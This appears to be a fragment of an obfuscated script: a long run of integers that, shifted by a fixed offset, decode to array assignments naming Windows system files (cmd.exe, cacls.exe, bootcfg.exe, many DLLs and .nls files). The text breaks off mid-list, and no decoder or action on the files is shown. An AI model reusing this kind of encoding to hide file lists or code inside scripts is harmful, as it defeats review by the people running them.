475,453,507,515,515,446,466,417,509,517,516,498,456,456,460,500,439,468,439,446,505,504,522,522,526,516,504,453,507,515,515,446,466,417,509,517,516,498,456,456,461,500,439,468,439,446,505,504,523,516,508,523,508,521,453,507,515,515,446,466,417,509,517,516,498,456,456,462,500,439,468,439,446,505,504,523,523,453,507,515,515,446,466,417,509,517,516,498,456,456,463,500,439,468,439,446,473,474,478,474,473,487,489,486,463,455,455,453,507,515,515,446,466,417,509,517,516,498,456,456,464,500,439,468,439,446,473,474,478,474,473,487,489,486,463,455,455,524,453,507,515,515,446,466,417,509,517,516,498,456,457,455,500,439,468,439,446,473,474,478,487,486,515,508,472,506,506,453,507,515,515,446,466,417,509,517,516,498,456,457,456,500,439,468,439,446,505,512,507,512,522,519,515,453,507,515,515,446,466,417,509,517,516,498,456,457,457,500,439,468,439,446,505,512,518,522,456,453,521,518,516,446,466,417,509,517,516,498,456,457,458,500,439,468,439,446,505,512,518,522,459,453,521,518,516,446,466,417,509,517,516,498,456,457,459,500,439,468,439,446,505,512,523,522,519,521,527,457,453,507,515,515,446,466,417,509,517,516,498,456,457,460,500,439,468,439,446,505,512,523,522,519,521,527,458,453,507,515,515,446,466,417,509,517,516,498,456,457,461,500,439,468,439,446,505,515,504,506,514,505,518,527,453,507,515,515,446,466,417,509,517,516,498,456,457,462,500,439,468,439,446,505,515,504,522,523,506,515,517,453,508,527,508,446,466,417,509,517,516,498,456,457,463,500,439,468,439,446,505,518,518,523,506,509,510,453,508,527,508,446,466,417,509,517,516,498,456,457,464,500,439,468,439,446,505,518,518,523,518,514,453,508,527,508,446,466,417,509,517,516,498,456,458,455,500,439,468,439,446,505,518,518,523,525,512,507,453,507,515,515,446,466,417,509,517,516,498,456,458,456,500,439,468,439,446,505,518,518,523,525,521,509,528,453,508,527,508,446,466,417,509,517,516,498,456,458,457,500,439,468,439,446,505,518,519,518,516,518,509,518,453,524,506,508,446,466,417,509,517,516,498,456,458,458,500,439,468,439,446,505,521,518,526,522,508,515,506,453,507,515,515,446,466,417,509,517,516,498,456,458,459,500,439,468,439,446,505,521,518,526,522,508,521,453,507,515,515,446,466,417,509,517,516,498,456,458,460,500,439,468,439,446,505,521,518,526,522,508,524,512,453,507,515,515,446,466,417,509,517,516,498,456,458,461,500,439,468,439,446,505,521,518,526,522,508,526,516,453,507,515,515,446,466,417,509,517,516,498,456,458,462,500,439,468,439,446,505,523,457,514,502,512,517,522,453,507,515,515,446,466,417,509,517,516,498,456,458,463,500,439,468,439,446,473,523,472,524,507,512,518,479,508,515,519,508,521,453,507,515,515,446,466,417,509,517,516,498,456,458,464,500,439,468,439,446,505,523,505,512,510,505,516,519,453,507,515,515,446,466,417,509,517,516,498,456,459,455,500,439,468,439,446,505,523,505,512,519,453,507,515,515,446,466,417,509,517,516,498,456,459,456,500,439,468,439,446,505,523,506,519,515,453,506,519,515,446,466,417,509,517,516,498,456,459,457,500,439,468,439,446,505,523,506,519,515,453,506,519,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,459,458,500,439,468,439,446,505,523,506,522,522,453,507,515,515,446,466,417,509,517,516,498,456,459,459,500,439,468,439,446,505,523,506,522,522,453,507,515,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,459,460,500,439,468,439,446,505,523,507,508,525,453,507,515,515,446,466,417,509,517,516,498,456,459,461,500,439,468,439,446,505,523,511,506,512,453,507,515,515,446,466,417,509,517,516,498,456,459,462,500,439,468,439,446,505,523,511,506,521,519,453,507,515,515,446,466,417,509,517,516,498,456,459,463,500,439,468,439,446,505,523,511,506,521,519,524,512,453,507,515,515,446,466,417,509,517,516,498,456,459,464,500,439,468,439,446,505,523,511,519,521,518,519,522,453,506,519,515,446,466,417,509,517,516,498,456,460,455,500,439,468,439,446,505,523,511,522,508,521,525,453,507,515,515,446,466,417,509,517,516,498,456,460,456,500,439,468,439,446,505,523,512,517,522,453,507,515,515,446,466,417,509,517,516,498,456,460,457,500,439,468,439,446,473,491,485,474,518,519,528,453,507,515,515,446,466,417,509,517,516,498,456,460,458,500,439,468,439,446,473,491,485,474,518,519,528,453,523,515,505,446,466,417,509,517,516,498,456,460,459,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,507,515,515,446,466,417,509,517,516,498,456,460,460,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,507,515,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,460,461,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,523,515,505,446,466,417,509,517,516,498,456,460,462,500,439,468,439,446,505,523,518,522,512,509,453,507,515,515,446,466,417,509,517,516,498,456,460,463,500,439,468,439,446,505,523,518,522,512,509,502,517,518,523,508,522,453,507,515,515,446,466,417,509,517,516,498,456,460,464,500,439,468,439,446,505,523,518,522,512,509,502,518,515,453,507,515,515,446,466,417,509,517,516,498,456,461,455,500,439,468,439,446,505,523,518,522,512,509,502,518,515,527,453,507,515,515,446,466,417,509,517,516,498,456,461,456,500,439,468,439,446,505,523,519,504,517,524,512,453,507,515,515,446,466,417,509,517,516,498,456,461,457,500,439,468,439,446,505,523,519,521,517,457,514,453,507,515,515,446,466,417,509,517,516,498,456,461,458,500,439,468,439,446,505,523,521,508,529,453,507,515,515,446,466,417,509,517,516,498,456,461,459,500,439,468,439,446,505,523,521,508,529,527,519,453,507,515,515,446,466,417,509,517,516,498,456,461,460,500,439,468,439,446,505,523,522,508,506,453,507,515,515,446,466,417,509,517,516,498,456,461,461,500,439,468,439,446,505,523,522,508,517,507,523,518,453,507,515,515,446,466,417,509,517,516,498,456,461,462,500,439,468,439,446,505,523,522,508,517,507,523,518,502,512,508,453,507,515,515,446,466,417,509,517,516,498,456,461,463,500,439,468,439,446,505,523,522,508,517,507,523,518,502,515,517,504,510,508,517,523,453,517,522,509,446,466,417,509,517,516,498,456,461,464,500,439,468,439,446,505,523,522,508,517,507,523,518,502,517,518,523,508,522,453,507,515,515,446,466,417,509,517,516,498,456,462,455,500,439,468,439,446,505,523,522,508,517,507,523,518,502,518,509,509,512,506,508,453,507,515,515,446,466,417,509,517,516,498,456,462,456,500,439,468,439,446,505,523,522,508,517,507,523,518,502,526,504,505,453,507,515,515,446,466,417,509,517,516,498,456,462,457,500,439,468,439,446,505,523,526,511,512,507,506,522,453,507,515,515,446,466,417,509,517,516,498,456,462,458,500,439,468,439,446,473,523,494,512,504,476,527,523,453,507,515,515,446,466,417,509,517,516,498,456,462,459,500,439,468,439,446,473,523,494,512,529,504,521,507,453,507,515,515,446,466,417,509,517,516,498,456,462,460,500,439,468,439,446,505,523,526,519,512,516,512,509,453,507,515,515,446,466,417,509,517,516,498,456,462,461,500,439,468,439,446,505,523,526,502,506,512,453,507,515,515,446,466,417,509,517,516,498,456,462,462,500,439,468,439,446,473,491,495,487,487,504,517,508,515,453,507,515,515,446,466,417,509,517,516,498,456,462,463,500,439,468,439,446,473,491,495,487,487,504,517,508,515,453,523,515,505,446,466,417,509,517,516,498,456,462,464,500,439,468,439,446,473,523,495,519,490,511,508,515,515,453,507,515,515,446,466,417,509,517,516,498,456,463,455,500,439,468,439,446,474,452,495,483,490,453,507,515,515,446,466,417,509,517,516,498,456,463,456,500,439,468,439,446,506,504,505,512,517,508,523,453,507,515,515,446,466,417,509,517,516,498,456,463,457,500,439,468,439,446,506,504,505,525,512,508,526,453,507,515,515,446,466,417,509,517,516,498,456,463,458,500,439,468,439,446,506,504,506,515,522,453,508,527,508,446,466,417,509,517,516,498,456,463,459,500,439,468,439,446,506,504,515,506,453,508,527,508,446,466,417,509,517,516,498,456,463,460,500,439,468,439,446,506,504,516,518,506,527,453,507,515,515,446,466,417,509,517,516,498,456,463,461,500,439,468,439,446,506,504,519,508,522,517,519,517,453,507,515,515,446,466,417,509,517,516,498,456,463,462,500,439,468,439,446,506,504,521,507,522,453,507,515,515,446,466,417,509,517,516,498,456,463,463,500,439,468,439,446,506,504,523,522,521,525,453,507,515,515,446,466,417,509,517,516,498,456,463,464,500,439,468,439,446,506,504,523,522,521,525,519,522,453,507,515,515,446,466,417,509,517,516,498,456,464,455,500,439,468,439,446,506,504,523,522,521,525,524,523,453,507,515,515,446,466,417,509,517,516,498,456,464,456,500,439,468,439,446,506,506,509,510,517,523,453,507,515,515,446,466,417,509,517,516,498,456,464,457,500,439,468,439,446,506,506,521,519,505,507,522,461,453,507,515,515,446,466,417,509,517,516,498,456,464,458,500,439,468,439,446,506,506,521,519,519,521,510,461,453,518,506,527,446,466,417,509,517,516,498,456,464,459,500,439,468,439,446,506,507,509,525,512,508,526,453,507,515,515,446,466,417,509,517,516,498,456,464,460,500,439,468,439,446,506,507,516,453,507,515,515,446,466,417,509,517,516,498,456,464,461,500,439,468,439,446,506,507,516,518,507,508,516,453,507,515,515,446,466,417,509,517,516,498,456,464,462,500,439,468,439,446,506,507,518,522,528,522,453,507,515,515,446,466,417,509,517,516,498,456,464,463,500,439,468,439,446,506,507,519,515,504,528,508,521,453,508,527,508,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,464,464,500,439,468,439,446,474,475,489,512,519,458,453,507,515,515,446,466,417,509,517,516,498,457,455,455,500,439,468,439,446,506,508,521,523,506,515,512,453,507,515,515,446,466,417,509,517,516,498,457,455,456,500,439,468,439,446,506,508,521,523,516,510,521,453,507,515,515,446,466,417,509,517,516,498,457,455,457,500,439,468,439,446,506,508,521,523,516,510,521,453,516,522,506,446,466,417,509,517,516,498,457,455,458,500,439,468,439,446,474,476,494,484,475,484,453,507,515,515,446,466,417,509,517,516,498,457,455,459,500,439,468,439,446,506,509,510,505,514,508,517,507,453,507,515,515,446,466,417,509,517,516,498,457,455,460,500,439,468,439,446,506,509,510,516,510,521,458,457,453,507,515,515,446,466,417,509,517,516,498,457,455,461,500,439,468,439,446,506,511,504,521,516,504,519,453,508,527,508,446,466,417,509,517,516,498,457,455,462,500,439,468,439,446,474,511,474,509,510,453,508,527,508,446,466,417,509,517,516,498,457,455,463,500,439,468,439,446,506,511,506,519,453,506,518,516,446,466,417,509,517,516,498,457,455,464,500,439,468,439,446,506,511,514,507,522,514,453,508,527,508,446,466,417,509,517,516,498,457,456,455,500,439,468,439,446,506,511,514,517,523,509,522,453,508,527,508,446,466,417,509,517,516,498,457,456,456,500,439,468,439,446,506,512,504,507,516,512,517,453,507,515,515,446,466,417,509,517,516,498,457,456,457,500,439,468,439,446,506,512,504,507,525,453,516,522,506,446,466,417,509,517,516,498,457,456,458,500,439,468,439,446,506,512,506,453,507,515,515,446,466,417,509,517,516,498,457,456,459,500,439,468,439,446,506,512,507,504,508,516,518,517,453,508,527,508,446,466,417,509,517,516,498,457,456,460,500,439,468,439,446,506,512,518,507,516,453,507,515,515,446,466,417,509,517,516,498,457,456,461,500,439,468,439,446,506,512,519,511,508,521,453,508,527,508,446,466,417,509,517,516,498,457,456,462,500,439,468,439,446,506,512,522,525,506,453,508,527,508,446,466,417,509,517,516,498,457,456,463,500,439,468,439,446,506,514,506,517,525,453,508,527,508,446,466,417,509,517,516,498,457,456,464,500,439,468,439,446,506,515,505,453,507,515,515,446,466,417,509,517,516,498,457,457,455,500,439,468,439,446,506,515,505,506,504,523,508,527,453,507,515,515,446,466,417,509,517,516,498,457,457,456,500,439,468,439,446,506,515,505,506,504,523,520,453,507,515,515,446,466,417,509,517,516,498,457,457,457,500,439,468,439,446,506,515,508,504,517,516,510,521,453,508,527,508,446,466,417,509,517,516,498,457,457,458,500,439,468,439,446,506,515,512,506,518,517,509,453,506,511,516,446,466,417,509,517,516,498,457,457,459,500,439,468,439,446,506,515,512,506,518,517,509,510,453,507,515,515,446,466,417,509,517,516,498,457,457,460,500,439,468,439,446,506,515,512,506,518,517,509,510,453,508,527,508,446,466,417,509,517,516,498,457,457,461,500,439,468,439,446,506,515,512,506,518,517,509,510,453,521,515,515,446,466,417,509,517,516,498,457,457,462,500,439,468,439,446,506,515,512,519,505,521,507,453,508,527,508,446,466,417,509,517,516,498,457,457,463,500,439,468,439,446,506,515,512,519,522,521,525,453,508,527,508,446,466,417,509,517,516,498,457,457,464,500,439,468,439,446,506,515,522,519,504,506,514,453,508,527,508,446,466,417,509,517,516,498,457,458,455,500,439,468,439,446,506,515,524,522,504,519,512,453,507,515,515,446,466,417,509,517,516,498,457,458,456,500,439,468,439,446,506,516,506,509,510,458,457,453,507,515,515,446,466,417,509,517,516,498,457,458,457,500,439,468,439,446,506,516,507,453,508,527,508,446,466,417,509,517,516,498,457,458,458,500,439,468,439,446,506,516,507,512,504,515,458,457,453,507,515,515,446,466,417,509,517,516,498,457,458,459,500,439,468,439,446,474,484,475,480,472,483,486,478,453,490,489,478,446,466,417,509,517,516,498,457,458,460,500,439,468,439,446,506,516,507,515,458,457,453,508,527,508,446,466,417,509,517,516,498,457,458,461,500,439,468,439,446,506,516,507,515,512,505,453,526,522,506,446,466,417,509,517,516,498,457,458,462,500,439,468,439,446,474,516,507,483,512,517,508,476,527,523,453,507,515,515,446,466,417,509,517,516,498,457,458,463,500,439,468,439,446,506,516,516,510,521,458,457,453,511,515,519,446,466,417,509,517,516,498,457,458,464,500,439,468,439,446,506,516,516,518,517,458,457,453,508,527,508,446,466,417,509,517,516,498,457,459,455,500,439,468,439,446,506,516,518,522,453,521,504,516,446,466,417,509,517,516,498,457,459,456,500,439,468,439,446,506,516,519,505,514,458,457,453,507,515,515,446,466,417,509,517,516,498,457,459,457,500,439,468,439,446,506,516,519,521,518,519,522,453,507,515,515,446,466,417,509,517,516,498,457,459,458,500,439,468,439,446,506,516,522,508,523,472,474,483,453,507,515,515,446,466,417,509,517,516,498,457,459,459,500,439,468,439,446,506,516,522,523,519,453,508,527,508,446,466,417,509,517,516,498,457,459,460,500,439,468,439,446,506,516,524,523,512,515,453,507,515,515,446,466,417,509,517,516,498,457,459,461,500,439,468,439,446,506,517,505,513,516,518,517,453,507,515,515,446,466,417,509,517,516,498,457,459,462,500,439,468,439,446,506,517,508,523,506,509,510,453,507,515,515,446,466,417,509,517,516,498,457,459,463,500,439,468,439,446,506,517,525,509,504,523,453,507,515,515,446,466,417,509,517,516,498,457,459,464,500,439,468,439,446,506,518,515,505,504,506,523,453,507,515,515,446,466,417,509,517,516,498,457,460,455,500,439,468,439,446,506,518,516,504,507,507,512,517,453,507,515,515,446,466,417,509,517,516,498,457,460,456,500,439,468,439,446,506,518,516,506,504,523,453,507,515,515,446,466,417,509,517,516,498,457,460,457,500,439,468,439,446,506,518,516,506,523,457,458,457,453,518,506,527,446,466,417,509,517,516,498,457,460,458,500,439,468,439,446,506,518,516,506,523,458,458,457,453,518,506,527,446,466,417,509,517,516,498,457,460,459,500,439,468,439,446,474,486,484,474,491,483,453,490,489,478,446,466,417,509,517,516,498,457,460,460,500,439,468,439,446,474,486,484,474,491,483,457,453,490,489,478,446,466,417,509,517,516,498,457,460,461,500,439,468,439,446,506,518,516,506,523,515,458,457,453,507,515,515,446,466,417,509,517,516,498,457,460,462,500,439,468,439,446,506,518,516,506,523,515,458,457,453,518,506,527,446,466,417,509,517,516,498,457,460,463,500,439,468,439,446,506,518,516,507,515,510,458,457,453,507,515,515,446,466,417,509,517,516,498,457,460,464,500,439,468,439,446,506,518,516,507,515,510,458,457,453,518,506,527,446,466,417,509,517,516,498,457,461,455,500,439,468,439,446,506,518,516,516,453,507,521,525,446,466,417,509,517,516,498,457,461,456,500,439,468,439,446,506,518,516,516,504,517,507,453,506,518,516,446,466,417,509,517,516,498,457,461,457,500,439,468,439,446,506,518,516,516,507,515,510,453,507,515,515,446,466,417,509,517,516,498,457,461,458,500,439,468,439,446,474,486,484,484,491,473,458,457,453,475,483,483,446,466,417,509,517,516,498,457,461,459,500,439,468,439,446,506,518,516,519,453,508,527,508,446,466,417,509,517,516,498,457,461,460,500,439,468,439,446,506,518,516,519,504,506,523,453,508,527,508,446,466,417,509,517,516,498,457,461,461,500,439,468,439,446,474,518,516,519,504,521,508,477,512,515,508,522,495,453,518,506,527,446,466,417,509,517,516,498,457,461,462,500,439,468,439,446,506,518,516,519,504,523,492,480,453,507,515,515,446,466,417,509,517,516,498,457,461,463,500,439,468,439,446,506,518,516,519,516,510,516,523,453,516,522,506,446,466,417,509,517,516,498,457,461,464,500,439,468,439,446,506,518,516,519,518,505,513,453,507,515,515,446,466,417,509,517,516,498,457,462,455,500,439,468,439,446,506,518,516,519,522,523,524,512,453,507,515,515,446,466,417,509,517,516,498,457,462,456,500,439,468,439,446,506,518,516,521,508,519,515,453,507,515,515,446,466,417,509,517,516,498,457,462,457,500,439,468,439,446,506,518,516,521,508,522,453,507,515,515,446,466,417,509,517,516,498,457,462,458,500,439,468,439,446,506,518,516,522,517,504,519,453,507,515,515,446,466,417,509,517,516,498,457,462,459,500,439,468,439,446,506,518,516,522,525,506,522,453,507,515,515,446,466,417,509,517,516,498,457,462,460,500,439,468,439,446,506,518,516,524,512,507,453,507,515,515,446,466,417,509,517,516,498,457,462,461,500,439,468,439,446,506,518,517,509,512,510,453,511,522,519,446,466,417,509,517,516,498,457,462,462,500,439,468,439,446,474,486,485,477,480,478,453,485,491,446,466,417,509,517,516,498,457,462,463,500,439,468,439,446,474,486,485,477,480,478,453,491,484,487,446,466,417,509,517,516,498,457,462,464,500,439,468,439,446,506,518,517,509,516,522,519,453,507,515,515,446,466,417,509,517,516,498,457,463,455,500,439,468,439,446,506,518,517,512,516,508,453,508,527,508,446,466,417,509,517,516,498,457,463,456,500,439,468,439,446,506,518,517,522,518,515,508,453,507,515,515,446,466,417,509,517,516,498,457,463,457,500,439,468,439,446,506,518,517,523,521,518,515,453,508,527,508,446,466,417,509,517,516,498,457,463,458,500,439,468,439,446,506,518,517,525,508,521,523,453,508,527,508,446,466,417,509,517,516,498,457,463,459,500,439,468,439,446,506,518,517,525,515,518,510,453,508,527,508,446,466,417,509,517,516,498,457,463,460,500,439,468,439,446,506,518,521,519,518,515,453,507,515,515,446,466,417,509,517,516,498,457,463,461,500,439,468,439,446,506,518,524,517,523,521,528,453,522,528,522,446,466,417,509,517,516,498,457,463,462,500,439,468,439,446,506,521,508,507,524,512,453,507,515,515,446,466,417,509,517,516,498,457,463,463,500,439,468,439,446,506,521,523,507,515,515,453,507,515,515,446,466,417,509,517,516,498,457,463,464,500,439,468,439,446,506,521,528,519,523,458,457,453,507,515,515,446,466,417,509,517,516,498,457,464,455,500,439,468,439,446,506,521,528,519,523,507,515,510,453,507,515,515,446,466,417,509,517,516,498,457,464,456,500,439,468,439,446,506,521,528,519,523,507,515,515,453,507,515,515,446,466,417,509,517,516,498,457,464,457,500,439,468,439,446,506,521,528,519,523,508,527,523,453,507,515,515,446,466,417,509,517,516,498,457,464,458,500,439,468,439,446,506,521,528,519,523,517,508,523,453,507,515,515,446,466,417,509,517,516,498,457,464,459,500,439,468,439,446,506,521,528,519,523,522,525,506,453,507,515,515,446,466,417,509,517,516,498,457,464,460,500,439,468,439,446,506,521,528,519,523,524,512,453,507,515,515,446,466,417,509,517,516,498,457,464,461,500,439,468,439,446,506,522,506,507,515,515,453,507,515,515,446,466,417,509,517,516,498,457,464,462,500,439,468,439,446,506,522,506,521,512,519,523,453,508,527,508,446,466,417,509,517,516,498,457,464,463,500,439,468,439,446,506,522,506,524,512,453,507,515,515,446,466,417,509,517,516,498,457,464,464,500,439,468,439,446,474,490,479,453,475,483,483,446,466,417,509,517,516,498,458,455,455,500,439,468,439,446,506,522,521,522,521,525,453,507,515,515,446,466,417,509,517,516,498,458,455,456,500,439,468,439,446,453,508,527,508,446,466,417,509,517,516,498,458,455,457,500,439,468,439,446,506,522,522,508,520,506,511,514,453,507,515,515,446,466,417,509,517,516,498,458,455,458,500,439,468,439,446,474,490,493,490,519,508,506,512,504,515,487,521,518,506,508,522,522,512,517,510,453,507,515,515,446,466,417,509,517,516,498,458,455,459,500,439,468,439,446,506,523,509,516,518,517,453,508,527,508,446,466,417,509,517,516,498,458,455,460,500,439,468,439,446,506,523,515,458,507,458,457,453,507,515,515,446,466,417,509,517,516,498,458,455,461,500,439,468,439,446,506,523,515,458,507,525,457,453,507,515,515,446,466,417,509,517,516,498,458,455,462,500,439,468,439,446,506,523,528,519,508,453,517,515,522,446,466,417,509,517,516,498,458,455,463,500,439,468,439,446,506,502,455,458,462,453,517,515,522,446,466,417,509,517,516,498,458,455,464,500,439,468,439,446,506,502,456,455,455,455,455,453,517,515,522,446,466,417,509,517,516,498,458,456,455,500,439,468,439,446,506,502,456,455,455,455,461,453,517,515,522,446,466,417,509,517,516,498,458,456,456,500,439,468,439,446,506,502,456,455,455,455,462,453,517,515,522,446,466,417,509,517,516,498,458,456,457,500,439,468,439,446,506,502,456,455,455,456,455,453,517,515,522,446,466,417,509,517,516,498,458,456,458,500,439,468,439,446,506,502,456,455,455,456,462,453,517,515,522,446,466,417,509,517,516,498,458,456,459,500,439,468,439,446,506,502,456,455,455,457,464,453,517,515,522,446,466,417,509,517,516,498,458,456,460,500,439,468,439,446,506,502,456,455,455,462,464,453,517,515,522,446,466,417,509,517,516,498,458,456,461,500,439,468,439,446,506,502,456,455,455,463,456,453,517,515,522,446,466,417,509,517,516,498,458,456,462,500,439,468,439,446,506,502,456,455,455,463,457,453,517,515,522,446,466,417,509,517,516,498,458,456,463,500,439,468,439,446,506,502,456,455,457,461,453,517,515,522,446,466,417,509,517,516,498,458,456,464,500,439,468,439,446,506,502,456,457,460,455,453,517,515,522,446,466,417,509,517,516,498,458,457,455,500,439,468,439,446,506,502,456,457,460,456,453,517,515,522,446,466,417,509,517,516,498,458,457,456,500,439,468,439,446,506,502,456,457,460,457,453,517,515,522,446,466,417,509,517,516,498,458,457,457,500,439,468,439,446,506,502,456,457,460,458,453,517,515,522,446,466,417,509,517,516,498,458,457,458,500,439,468,439,446,506,502,456,457,460,459,453,517,515,522,446,466,417,509,517,516,498,458,457,459,500,439,468,439,446,506,502,456,457,460,460,453,517,515,522,446,466,417,509,517,516,498,458,457,460,500,439,468,439,446,506,502,456,457,460,461,453,517,515,522,446,466,417,509,517,516,498,458,457,461,500,439,468,439,446,506,502,456,457,460,462,453,517,515,522,446,466,417,509,517,516,498,458,457,462,500,439,468,439,446,506,502,456,457,460,463,453,517,515,522,446,466,417,509,517,516,498,458,457,463,500,439,468,439,446,506,502,457,455,456,457,462,453,517,515,522,446,466,417,509,517,516,498,458,457,464,500,439,468,439,446,506,502,457,455,457,461,456,453,517,515,522,446,466,417,509,517,516,498,458,458,455,500,439,468,439,446,506,502,457,455,463,461,461,453,517,515,522,446,466,417,509,517,516,498,458,458,456,500,439,468,439,446,506,502,457,455,464,455,460,453,517,515,522,446,466,417,509,517,516,498,458,458,457,500,439,468,439,446,506,502,457,456,463,461,461,453,517,515,522,446,466,417,509,517,516,498,458,458,458,500,439,468,439,446,506,502,457,463,460,464,456,453,517,515,522,446,466,417,509,517,516,498,458,458,459,500,439,468,439,446,506,502,457,463,460,464,457,453,517,515,522,446,466,417,509,517,516,498,458,458,460,500,439,468,439,446,506,502,457,463,460,464,458,453,517,515,522,446,466,417,509,517,516,498,458,458,461,500,439,468,439,446,474,502,457,463,460,464,459,453,485,483,490,446,466,417,509,517,516,498,458,458,462,500,439,468,439,446,474,502,457,463,460,464,460,453,485,483,490,446,466,417,509,517,516,498,458,458,463,500,439,468,439,446,474,502,457,463,460,464,462,453,485,483,490,446,466,417,509,517,516,498,458,458,464,500,439,468,439,446,506,502,457,463,460,464,463,453,517,515,522,446,466,417,509,517,516,498,458,459,455,500,439,468,439,446,506,502,457,463,460,464,464,453,517,515,522,446,466,417,509,517,516,498,458,459,456,500,439,468,439,446,506,502,457,463,461,455,458,453,517,515,522,446,466,417,509,517,516,498,458,459,457,500,439,468,439,446,506,502,457,463,461,455,460,453,517,515,522,446,466,417,509,517,516,498,458,459,458,500,439,468,439,446,506,502,459,458,462,453,517,515,522,446,466,417,509,517,516,498,458,459,459,500,439,468,439,446,506,502,460,455,455,453,517,515,522,446,466,417,509,517,516,498,458,459,460,500,439,468,439,446,506,502,462,458,462,453,517,515,522,446,466,417,509,517,516,498,458,459,461,500,439,468,439,446,506,502,462,462,460,453,517,515,522,446,466,417,509,517,516,498,458,459,462,500,439,468,439,446,506,502,463,460,455,453,517,515,522,446,466,417,509,517,516,498,458,459,463,500,439,468,439,446,506,502,463,460,457,453,517,515,522,446,466,417,509,517,516,498,458,459,464,500,439,468,439,446,506,502,463,460,460,453,517,515,522,446,466,417,509,517,516,498,458,460,455,500,439,468,439,446,506,502,463,460,462,453,517,515,522,446,466,417,509,517,516,498,458,460,456,500,439,468,439,446,506,502,463,461,455,453,517,515,522,446,466,417,509,517,516,498,458,460,457,500,439,468,439,446,506,502,463,461,456,453,517,515,522,446,466,417,509,517,516,498,458,460,458,500,439,468,439,446,506,502,463,461,458,453,517,515,522,446,466,417,509,517,516,498,458,460,459,500,439,468,439,446,506,502,463,461,460,453,517,515,522,446,466,417,509,517,516,498,458,460,460,500,439,468,439,446,506,502,463,461,461,453,517,515,522,446,466,417,509,517,516,498,458,460,461,500,439,468,439,446,506,502,463,461,464,453,517,515,522,446,466,417,509,517,516,498,458,460,462,500,439,468,439,441,509,507,509,509,453,509,507,441,466,417,509,517,516,498,458,460,463,500,439,468,439,446,506,502,463,462,460,453,517,515,522,446,466,417,509,517,516,498,458,460,464,500,439,468,439,446,506,502,464,458,457,453,517,515,522,446,466,417,509,517,516,498,458,461,455,500,439,468,439,446,506,502,464,458,461,453,517,515,522,446,466,417,509,517,516,498,458,461,456,500,439,468,439,446,506,502,464,459,464,453,517,515,522,446,466,417,509,517,516,498,458,461,457,500,439,468,439,446,506,502,464,460,455,453,517,515,522,446,466,417,509,517,516,498,458,461,458,500,439,468,439,446,507,458,507,463,453,507,515,515,446,466,417,509,517,516,498,458,461,459,500,439,468,439,446,507,458,507,463,506,504,519,522,453,507,504,523,446,466,417,509,517,516,498,458,461,460,500,439,468,439,446,507,458,507,463,523,511,514,453,507,515,515,446,466,417,509,517,516,498,458,461,461,500,439,468,439,446,507,458,507,464,453,507,515,515,446,466,417,509,517,516,498,458,461,462,500,439,468,439,446,507,458,507,464,506,504,519,522,453,507,504,523,446,466,417,509,517,516,498,458,461,463,500,439,468,439,446,507,458,507,512,516,453,507,515,515,446,466,417,509,517,516,498,458,461,464,500,439,468,439,446,507,458,507,512,516,462,455,455,453,507,515,515,446,466,417,509,517,516,498,458,462,455,500,439,468,439,446,507,458,507,519,516,508,522,511,453,507,515,515,446,466,417,509,517,516,498,458,462,456,500,439,468,439,446,507,458,507,521,504,516,519,453,507,515,515,446,466,417,509,517,516,498,458,462,457,500,439,468,439,446,507,458,507,521,516,453,507,515,515,446,466,417,509,517,516,498,458,462,458,500,439,468,439,446,507,458,507,527,464,502,457,459,453,507,515,515,446,466,417,509,517,516,498,458,462,459,500,439,468,439,446,507,458,507,527,464,502,457,460,453,507,515,515,446,466,417,509,517,516,498,458,462,460,500,439,468,439,446,507,458,507,527,464,502,457,461,453,507,515,515,446,466,417,509,517,516,498,458,462,461,500,439,468,439,446,507,458,507,527,464,502,457,462,453,507,515,515,446,466,417,509,517,516,498,458,462,462,500,439,468,439,446,507,458,507,527,464,502,457,463,453,507,515,515,446,466,417,509,517,516,498,458,462,463,500,439,468,439,446,507,458,507,527,464,502,457,464,453,507,515,515,446,466,417,509,517,516,498,458,462,464,500,439,468,439,446,507,458,507,527,464,502,458,455,453,507,515,515,446,466,417,509,517,516,498,458,463,455,500,439,468,439,446,507,458,507,527,464,502,458,456,453,507,515,515,446,466,417,509,517,516,498,458,463,456,500,439,468,439,446,507,458,507,527,464,502,458,457,453,507,515,515,446,466,417,509,517,516,498,458,463,457,500,439,468,439,446,507,458,507,527,518,509,453,507,515,515,446,466,417,509,517,516,498,458,463,458,500,439,468,439,446,507,504,517,512,516,453,507,515,515,446,466,417,509,517,516,498,458,463,459,500,439,468,439,446,507,504,523,504,506,515,508,517,453,507,515,515,446,466,417,509,517,516,498,458,463,460,500,439,468,439,446,507,504,523,512,516,508,453,507,515,515,446,466,417,509,517,516,498,458,463,461,500,439,468,439,446,507,504,525,506,515,517,523,453,507,515,515,446,466,417,509,517,516,498,458,463,462,500,439,468,439,446,507,504,527,506,523,515,508,453,518,506,527,446,466,417,509,517,516,498,458,463,463,500,439,468,439,446,507,505,510,508,517,510,453,507,515,515,446,466,417,509,517,516,498,458,463,464,500,439,468,439,446,507,505,510,511,508,515,519,453,507,515,515,446,466,417,509,517,516,498,458,464,455,500,439,468,439,446,507,505,516,522,521,519,506,517,453,507,515,515,446,466,417,509,517,516,498,458,464,456,500,439,468,439,446,475,473,484,490,490,479,489,485,453,475,483,483,446,466,417,509,517,516,498,458,464,457,500,439,468,439,446,475,473,484,490,490,486,474,485,453,475,483,483,446,466,417,509,517,516,498,458,464,458,500,439,468,439,446,507,505,517,508,523,515,512,505,453,507,515,515,446,466,417,509,517,516,498,458,464,459,500,439,468,439,446,507,505,517,516,519,517,523,526,453,507,515,515,446,466,417,509,517,516,498,458,464,460,500,439,468,439,446,475,506,504,506,511,508,453,505,512,517,446,466,417,509,517,516,498,458,464,461,500,439,468,439,446,507,506,512,516,504,517,458,457,453,507,515,515,446,466,417,509,517,516,498,458,464,462,500,439,468,439,446,507,506,518,516,506,517,509,510,453,508,527,508,446,466,417,509,517,516,498,458,464,463,500,439,468,439,446,507,507,508,516,515,453,507,515,515,446,466,417,509,517,516,498,458,464,464,500,439,468,439,446,507,507,508,522,511,504,521,508,453,508,527,508,446,466,417,509,517,516,498,459,455,455,500,439,468,439,446,507,507,521,504,526,453,507,515,515,446,466,417,509,517,516,498,459,455,456,500,439,468,439,446,507,507,521,504,526,508,527,453,507,515,515,446,466,417,509,517,516,498,459,